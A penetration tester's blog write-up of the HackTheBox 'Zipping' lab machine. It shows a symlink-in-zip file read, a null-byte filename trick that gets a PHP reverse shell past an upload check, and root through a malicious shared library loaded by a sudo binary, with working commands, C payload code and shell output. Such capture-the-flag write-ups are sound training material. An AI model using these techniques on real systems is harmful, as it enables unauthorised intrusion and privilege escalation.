Lukas Marckmiller

eCPPT | eMAPT | eWPT | eJPT

M.Sc.

Penetration Tester

OWASP MSTG Contributor

Blog Post

HackTheBox Zipping

Sep 01, 2023 Writeup
HackTheBox Zipping

HackTheBox - Zipping

User.txt

A quick nmap scan of the target shows 2 ports open.

Nmap scan report for 10.10.11.229
Host is up (0.87s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

I did start with checking the http server.
Website
The website shows the following line as a clue for what the server is expecting as upload "The application will only accept zip files, inside them there must be a pdf file containing your curriculum.". That might be hint or a trap right there. I started to prepare a zip containing a PDF and uploaded it. Now the server respondes with "Please include a single PDF file in the archive.". After preparing a zip containing a single PDF file the server accepts the upload and prints the link to the upload section.
uploadsuccess
Following the link shows that the server automatically unpacks the contents of the zip file provided. I searched around possible attack vectors with uploaded zips and found two common vulnerabilities.

  1. Zip slip
  2. Symlink exploit

The idea of the zip slip attack is to archive a file with a relative filename containing a path traversal payload. Trying to craft a malicious zip showed that the server does not resolve the path traversal payload.
The idea of the second attack is that you archive a symlink to a arbitrary file e.g /etc/passwd. An when the server automatically extracts the file from the archive the symbol resolves and points to the intended file leading to a LFI. To try out for this attack we need to do following:

  1. Create a symlink pointing to the upload.php. So that we can take a deeper look into the upload restrictions in place.

     ln -s ../../upload.php symlink.pdf
    
  2. The symlink needs a PDF extension to bypass the upload restrictions.
  3. Pack the symlink in a zip.

     zip --symlinks test.zip symlink.pdf
    
  4. Upload the zip and follow the provided link.

Your browser might now render the result, cause it expects an PDF but gets the file contents of upload.php back. So watching the result in burp or in the dev tools of you browser might be helpful. So cool that works and we get the code for the upload.php file. So we can now actually read the user flag by crafting a symlink to /etc/passwd to get the user name and then to /home/<user>/user.txt. But I wanted to try to go for code execution before I read the user flag. Observing the results we can spot the lines in the code that are handling the actual upload mechanism.

<?php
if(isset($_POST['submit'])) {
    // Get the uploaded zip file
    $zipFile = $_FILES['zipFile']['tmp_name'];
    if ($_FILES["zipFile"]["size"] > 300000) {
    echo "<p>File size must be less than 300,000 bytes.</p>";
    } else {
    // Create an md5 hash of the zip file
    $fileHash = md5_file($zipFile);
    // Create a new directory for the extracted files
    $uploadDir = "uploads/$fileHash/";
    // Extract the files from the zip
    $zip = new ZipArchive;
    if ($zip->open($zipFile) === true) {
        if ($zip->count() > 1) {
        echo '<p>Please include a single PDF file in the archive.<p>';
        } else {
        // Get the name of the compressed file
        $fileName = $zip->getNameIndex(0);
        if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
        mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
        echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
        } else {
        echo "<p>The unzipped file must have  a .pdf extension.</p>";
        }
        }
    } else {
        echo "Error uploading file.";
    }

    }
}
?>

Following line is what we are mostly interested in. The pathinfo function operates on the path itself and does not verify magic numbers. So just appending pdf to any file would bypass this check. And indeed uploading an archive containing test.php.pdf was successful.

if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf")

Unfortunately the server does not execute the php. Sometimes an apache misconfiguration could lead to a different file handling. While the PHP script checks the suffix, the server might interpret a file based on the first extension after . This was not the case here. So we need to find a way to create a file that somehow break when the archive is extracted.
Checking some online ressources a found a list of special characters and bytes such as the null terminator (\x00). Creating a file in linux containing this null terminator was challenging. So I decided to just create a filename that contains a placeholder and change the filename after creating the zip archive.
This could be done by using an hex editor like hexedit. Heres an dump of an archive containing the file upload.pdf_.php. The _ is a filler we want to replace with the null terminator \xx.

50 4B 03 04  0A 00 00 00  00 00 EA 60  21 57 B9 31  E2 D4 10 00  00 00 10 00  PK.........`!W.1........
00 00 0A 00  1C 00 75 70  6C 6F 61 64  2E 70 64 66  55 54 09 00  03 38 0C F2  ......upload.pdf_.phpUT...8..
64 3E 0C F2  64 75 78 0B  00 01 04 E8  03 00 00 04  E8 03 00 00  2E 2E 2F 2E  d>..dux.............../.
2E 2F 75 70  6C 6F 61 64  2E 70 68 70  50 4B 01 02  1E 03 0A 00  00 00 00 00  ./upload.phpPK..........
EA 60 21 57  B9 31 E2 D4  10 00 00 00  10 00 00 00  0A 00 18 00  00 00 00 00  .`!W.1..................
00 00 00 00  FF A1 00 00  00 00 75 70  6C 6F 61 64  2E 70 64 66  55 54 05 00  ..........upload.pdf_.phpUT..
03 38 0C F2  64 75 78 0B  00 01 04 E8  03 00 00 04  E8 03 00 00  50 4B 05 06  .8..dux.............PK..
00 00 00 00  01 00 01 00  50 00 00 00  54 00 00 00  00 00                     ........P...T.....

The zip defines the names of the containing files at the file content location as well as in the so called central directory towards the end of the file. Uploading that zip file and pray…
uploadnamebreak
It was successfully uploaded! Following the link we get an 404 and if we remove the lonely extension we can see that the file indeed exists.
pathbreak
revshellpath
By placing a simple reverse shell php payload in the archive we got a shell on the server!

listening on [any] 5555 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.229] 44816
Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 21:35:44 up  1:38,  3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
rektsu   pts/0    10.10.16.3       20:01    1:32m  0.01s  0.01s -bash
rektsu   pts/1    10.10.16.3       20:11   59:52   0.12s  0.02s sshd: rektsu [priv]
rektsu   pts/3    10.10.14.5       20:16    6:00   0.23s  0.02s sshd: rektsu [priv]
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/bin/sh: 0: can't access tty; job control turned off
$ 

Root.txt

To upgrade the shell I generated an ssh key pair and placed it in the users .ssh directory. Now we can access the server in a much more stable ssh connection.
The first thing I usually check are the user privileges on the system with sudo -l

Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

We see we can access the /usr/bin/stock binary as an arbitrary user, e.g root. I quickly ran the binary to check if I can interact with it.

Enter the password: 

Checking strings containing in the binary with strings /usr/bin/stock revealed potential interesting findings.

Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password: 
Invalid password, please try again.

St0ckM4nager does look like a password. Trying it out was successful and I could proceed further.

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 

Playing around with the application for quite some time did not bring me anything further. I thought it might be possible to include some local file in the root directory. So I copied the binary to my local system and fed it to ghidra.

  local_18 = "/root/.stock.csv";
  printf("Enter the password: ");
  fgets(local_b8,0x1e,stdin);
  local_20 = strchr(local_b8,10);
  if (local_20 != (char *)0x0) {
    *local_20 = '\0';
  }
  iVar1 = checkAuth(local_b8);
  if (iVar1 == 0) {
    puts("Invalid password, please try again.");
    uVar2 = 1;
  }
  else {
    local_e8 = 0x2d17550c0c040967;
    local_e0 = 0xe2b4b551c121f0a;
    local_d8 = 0x908244a1d000705;
    local_d0 = 0x4f19043c0b0f0602;
    local_c8 = 0x151a;
    local_f0 = 0x657a69616b6148;
    XOR(&local_e8,0x22,&local_f0,8);
    local_28 = dlopen(&local_e8,1);
    local_2c = 0;
    local_30 = 0;
    local_34 = 0;
    local_38 = 0;
    local_3c = 0;
    local_40 = 0;
    local_44 = 0;
    local_48 = 0;
    local_4c = 0;
    local_50 = 0;
    while (local_8c != 3) {
      puts("\n================== Menu ==================\n");
      puts("1) See the stock");
      puts("2) Edit the stock");
      puts("3) Exit the program\n");
      printf("Select an option: ");

Analyzing the main function the dlopen function could my attention. It can be used to load a library during runtime. Using ltrace we can observe system and library calls.

ltrace -S ./stock                                                                         
SYS_brk(0)                 = 0x55db8fe95000
SYS_mmap(0, 8192, 3, 34)   = 0x7f95f5596000
SYS_access("/etc/ld.so.preload", 04)      = -2
SYS_openat(0xffffff9c, 0x7f95f55c00b1, 0x80000, 0)                     = 3
SYS_newfstatat(3, 0x7f95f55c0c99, 0x7ffdd0b3dc10, 4096)   = 0
SYS_mmap(0, 0x1a3ae, 1, 2)     = 0x7f95f557b000
SYS_close(3)    = 0
SYS_openat(0xffffff9c, 0x7f95f5596140, 0x80000, 0)              = 3
SYS_read(3, "\177ELF\002\001\001\003", 83

We can see the dlopen yet cause it gets executed after providing the correct password.

strcmp("St0ckM4nager", "St0ckM4nager")    = 0
dlopen("/home/rektsu/.config/libcounter."..., 1 <unfinished ...>

We can see that the binary tries to load an library called libcounter in the users home directory where we have write permissions. So we can try to create an malicious library that opens a shell session.

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

Build an shared object with.

gcc -shared -fPIC -nostartfiles -o /home/rektsu/.config/libcounter.so libcounter.c

Now we have to execute the binary with root privileges and provide the password to trigger the dlopen function.

rektsu@zipping:~$ ls -la /home/rektsu/.config/libcounter.c 
-rw-rw-r-- 1 rektsu rektsu 116 Sep  1 22:02 /home/rektsu/.config/libcounter.c
rektsu@zipping:~$ gcc -shared -fPIC -nostartfiles -o /home/rektsu/.config/libcounter.so /home/rektsu/.config/libcounter.c
rektsu@zipping:~$ sudo /usr/bin/stockEnter the password: St0ckM4nager
root@zipping:/home/rektsu# id
uid=0(root) gid=0(root) groups=0(root)

Done!

Comments